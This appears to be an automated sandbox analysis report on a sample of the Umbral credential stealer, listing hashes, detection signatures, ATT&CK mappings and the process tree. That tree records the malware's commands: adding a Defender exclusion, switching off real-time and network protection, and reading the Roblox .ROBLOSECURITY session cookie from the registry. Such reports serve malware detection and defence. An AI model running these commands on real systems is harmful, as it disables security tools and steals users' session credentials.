umbral | 4cbe7a16f2a8df8a51aa0f50f65d9d97195b254072589e87c54ba53e458c8a89

Resubmissions

26-06-2023 18:25

230626-w2tznabc97 10

26-06-2023 18:24

230626-w17t5acb91 10

26-06-2023 18:22

230626-wz7gzabc88 10

Analysis

max time kernel
72s
max time network
77s
platform
windows10-2004_x64
resource
win10v2004-20230621-en
resource tags

arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system
submitted
26-06-2023 18:22

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General

Target

testone.exe
Size

229KB
MD5

27eade2098a995bea21837cc28399e7e
SHA1

3100f2f77ca8fd8d6c3f6a55285650e0f9ffaffe
SHA256

4cbe7a16f2a8df8a51aa0f50f65d9d97195b254072589e87c54ba53e458c8a89
SHA512

3830c7b09d3c250d3a7faf6adce46fabb45dd4ca96ad4e647b7b3c51987d79282a10030b7363fac380de642ab1a1940767dc5ce23b7d92429e984d73f0ffb53f
SSDEEP

6144:9loZMXXU9Zx0kt8X0/PSCsMT9aY6ecjfU61gevPeDAb8e1m4i:foZDf0kkP6AY6ecjfU61gevPes6

Score

10^/10

umbral spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1048-133-0x00000260B16E0000-0x00000260B1720000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4840	wmic.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1368	powershell.exe
1368	powershell.exe
3600	powershell.exe
3600	powershell.exe
1436	powershell.exe
1436	powershell.exe
3752	powershell.exe
3752	powershell.exe
4848	powershell.exe
4848	powershell.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
668	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1048	testone.exe
Token: SeDebugPrivilege	1368	powershell.exe
Token: SeDebugPrivilege	3600	powershell.exe
Token: SeDebugPrivilege	1436	powershell.exe
Token: SeDebugPrivilege	3752	powershell.exe
Token: SeIncreaseQuotaPrivilege	2508	wmic.exe
Token: SeSecurityPrivilege	2508	wmic.exe
Token: SeTakeOwnershipPrivilege	2508	wmic.exe
Token: SeLoadDriverPrivilege	2508	wmic.exe
Token: SeSystemProfilePrivilege	2508	wmic.exe
Token: SeSystemtimePrivilege	2508	wmic.exe
Token: SeProfSingleProcessPrivilege	2508	wmic.exe
Token: SeIncBasePriorityPrivilege	2508	wmic.exe
Token: SeCreatePagefilePrivilege	2508	wmic.exe
Token: SeBackupPrivilege	2508	wmic.exe
Token: SeRestorePrivilege	2508	wmic.exe
Token: SeShutdownPrivilege	2508	wmic.exe
Token: SeDebugPrivilege	2508	wmic.exe
Token: SeSystemEnvironmentPrivilege	2508	wmic.exe
Token: SeRemoteShutdownPrivilege	2508	wmic.exe
Token: SeUndockPrivilege	2508	wmic.exe
Token: SeManageVolumePrivilege	2508	wmic.exe
Token: 33	2508	wmic.exe
Token: 34	2508	wmic.exe
Token: 35	2508	wmic.exe
Token: 36	2508	wmic.exe
Token: SeIncreaseQuotaPrivilege	2508	wmic.exe
Token: SeSecurityPrivilege	2508	wmic.exe
Token: SeTakeOwnershipPrivilege	2508	wmic.exe
Token: SeLoadDriverPrivilege	2508	wmic.exe
Token: SeSystemProfilePrivilege	2508	wmic.exe
Token: SeSystemtimePrivilege	2508	wmic.exe
Token: SeProfSingleProcessPrivilege	2508	wmic.exe
Token: SeIncBasePriorityPrivilege	2508	wmic.exe
Token: SeCreatePagefilePrivilege	2508	wmic.exe
Token: SeBackupPrivilege	2508	wmic.exe
Token: SeRestorePrivilege	2508	wmic.exe
Token: SeShutdownPrivilege	2508	wmic.exe
Token: SeDebugPrivilege	2508	wmic.exe
Token: SeSystemEnvironmentPrivilege	2508	wmic.exe
Token: SeRemoteShutdownPrivilege	2508	wmic.exe
Token: SeUndockPrivilege	2508	wmic.exe
Token: SeManageVolumePrivilege	2508	wmic.exe
Token: 33	2508	wmic.exe
Token: 34	2508	wmic.exe
Token: 35	2508	wmic.exe
Token: 36	2508	wmic.exe
Token: SeIncreaseQuotaPrivilege	1636	wmic.exe
Token: SeSecurityPrivilege	1636	wmic.exe
Token: SeTakeOwnershipPrivilege	1636	wmic.exe
Token: SeLoadDriverPrivilege	1636	wmic.exe
Token: SeSystemProfilePrivilege	1636	wmic.exe
Token: SeSystemtimePrivilege	1636	wmic.exe
Token: SeProfSingleProcessPrivilege	1636	wmic.exe
Token: SeIncBasePriorityPrivilege	1636	wmic.exe
Token: SeCreatePagefilePrivilege	1636	wmic.exe
Token: SeBackupPrivilege	1636	wmic.exe
Token: SeRestorePrivilege	1636	wmic.exe
Token: SeShutdownPrivilege	1636	wmic.exe
Token: SeDebugPrivilege	1636	wmic.exe
Token: SeSystemEnvironmentPrivilege	1636	wmic.exe
Token: SeRemoteShutdownPrivilege	1636	wmic.exe
Token: SeUndockPrivilege	1636	wmic.exe
Token: SeManageVolumePrivilege	1636	wmic.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1048 wrote to memory of 1368	1048	testone.exe	84
PID 1048 wrote to memory of 1368	1048	testone.exe	84
PID 1048 wrote to memory of 3600	1048	testone.exe	86
PID 1048 wrote to memory of 3600	1048	testone.exe	86
PID 1048 wrote to memory of 1436	1048	testone.exe	88
PID 1048 wrote to memory of 1436	1048	testone.exe	88
PID 1048 wrote to memory of 3752	1048	testone.exe	90
PID 1048 wrote to memory of 3752	1048	testone.exe	90
PID 1048 wrote to memory of 2508	1048	testone.exe	92
PID 1048 wrote to memory of 2508	1048	testone.exe	92
PID 1048 wrote to memory of 1636	1048	testone.exe	94
PID 1048 wrote to memory of 1636	1048	testone.exe	94
PID 1048 wrote to memory of 2396	1048	testone.exe	96
PID 1048 wrote to memory of 2396	1048	testone.exe	96
PID 1048 wrote to memory of 4848	1048	testone.exe	98
PID 1048 wrote to memory of 4848	1048	testone.exe	98
PID 1048 wrote to memory of 4840	1048	testone.exe	100
PID 1048 wrote to memory of 4840	1048	testone.exe	100

C:\Users\Admin\AppData\Local\Temp\testone.exe
"C:\Users\Admin\AppData\Local\Temp\testone.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\testone.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3752
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2508
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1636
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4848
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4840

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
62623d22bd9e037191765d5083ce16a3

SHA1
4a07da6872672f715a4780513d95ed8ddeefd259

SHA256
95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010

SHA512
9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
482fbb6ef0984159551ed81307d94b26

SHA1
6a9f978244f9217b29df57012c67d7795d86caee

SHA256
1aefb52c8ad4f5d652ce79efcbbcdbbc9718e80454b588155f7fd4957b45b5d6

SHA512
5bfe1471fdd77dfd053d9f72898822f07b13ebc6a411b62e3784b1f08b9f452cd39efdf7a34c0f8949b8860736a49a23d0b0a84a2411c8316bc7f92749cb1a3a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d3235ed022a42ec4338123ab87144afa

SHA1
5058608bc0deb720a585a2304a8f7cf63a50a315

SHA256
10663f5a1cb0afe5578f61ebaae2aafb363544e47b48521f9c23be9e6e431b27

SHA512
236761b7c68feca8bd62cba90cff0b25fac5613837aaa5d29ae823ace8b06a2057553cf7e72b11ccc59b6c289e471ca1bbac1a880aef5e2868875371a17c1abf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
e61e221a11f1a35464e63ab429db0144

SHA1
f52f48212b48e9d2a237a23c413c9b3b31c77905

SHA256
4f3011257696fdfbadc6e834da1a3441e9d4053609c0c647c8a0818ba7bbe92d

SHA512
01ab9316ad9dc111d2dff777e723ffcc2b7ffbba9416cb385d13cd9c924e449296adf588e54490891ba8861fb13ba41b6fa604c6f4161cdf445ac53213c01657

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v1k0n2cq.erf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1048-133-0x00000260B16E0000-0x00000260B1720000-memory.dmp

Filesize
256KB

Download
memory/1048-167-0x00000260CBD30000-0x00000260CBD4E000-memory.dmp

Filesize
120KB

Download
memory/1048-201-0x00000260CBF70000-0x00000260CBF82000-memory.dmp

Filesize
72KB

Download
memory/1048-200-0x00000260CBF40000-0x00000260CBF4A000-memory.dmp

Filesize
40KB

Download
memory/1048-218-0x00000260CBBE0000-0x00000260CBBF0000-memory.dmp

Filesize
64KB

Download
memory/1048-134-0x00000260CBBE0000-0x00000260CBBF0000-memory.dmp

Filesize
64KB

Download
memory/1048-165-0x00000260CBDB0000-0x00000260CBE26000-memory.dmp

Filesize
472KB

Download
memory/1048-166-0x00000260CBD60000-0x00000260CBDB0000-memory.dmp

Filesize
320KB

Download
memory/1368-147-0x00000195E5770000-0x00000195E5780000-memory.dmp

Filesize
64KB

Download
memory/1368-145-0x00000195E5770000-0x00000195E5780000-memory.dmp

Filesize
64KB

Download
memory/1368-146-0x00000195E5770000-0x00000195E5780000-memory.dmp

Filesize
64KB

Download
memory/1368-140-0x00000195FF5D0000-0x00000195FF5F2000-memory.dmp

Filesize
136KB

Download
memory/1436-183-0x0000012F9E260000-0x0000012F9E270000-memory.dmp

Filesize
64KB

Download
memory/1436-182-0x0000012F9E260000-0x0000012F9E270000-memory.dmp

Filesize
64KB

Download
memory/1436-186-0x0000012F9E260000-0x0000012F9E270000-memory.dmp

Filesize
64KB

Download
memory/3600-162-0x000002BB780F0000-0x000002BB78100000-memory.dmp

Filesize
64KB

Download
memory/3600-163-0x000002BB780F0000-0x000002BB78100000-memory.dmp

Filesize
64KB

Download
memory/3600-161-0x000002BB780F0000-0x000002BB78100000-memory.dmp

Filesize
64KB

Download
memory/4848-204-0x000002D0E8990000-0x000002D0E89A0000-memory.dmp

Filesize
64KB

Download
memory/4848-205-0x000002D0E8990000-0x000002D0E89A0000-memory.dmp

Filesize
64KB

Download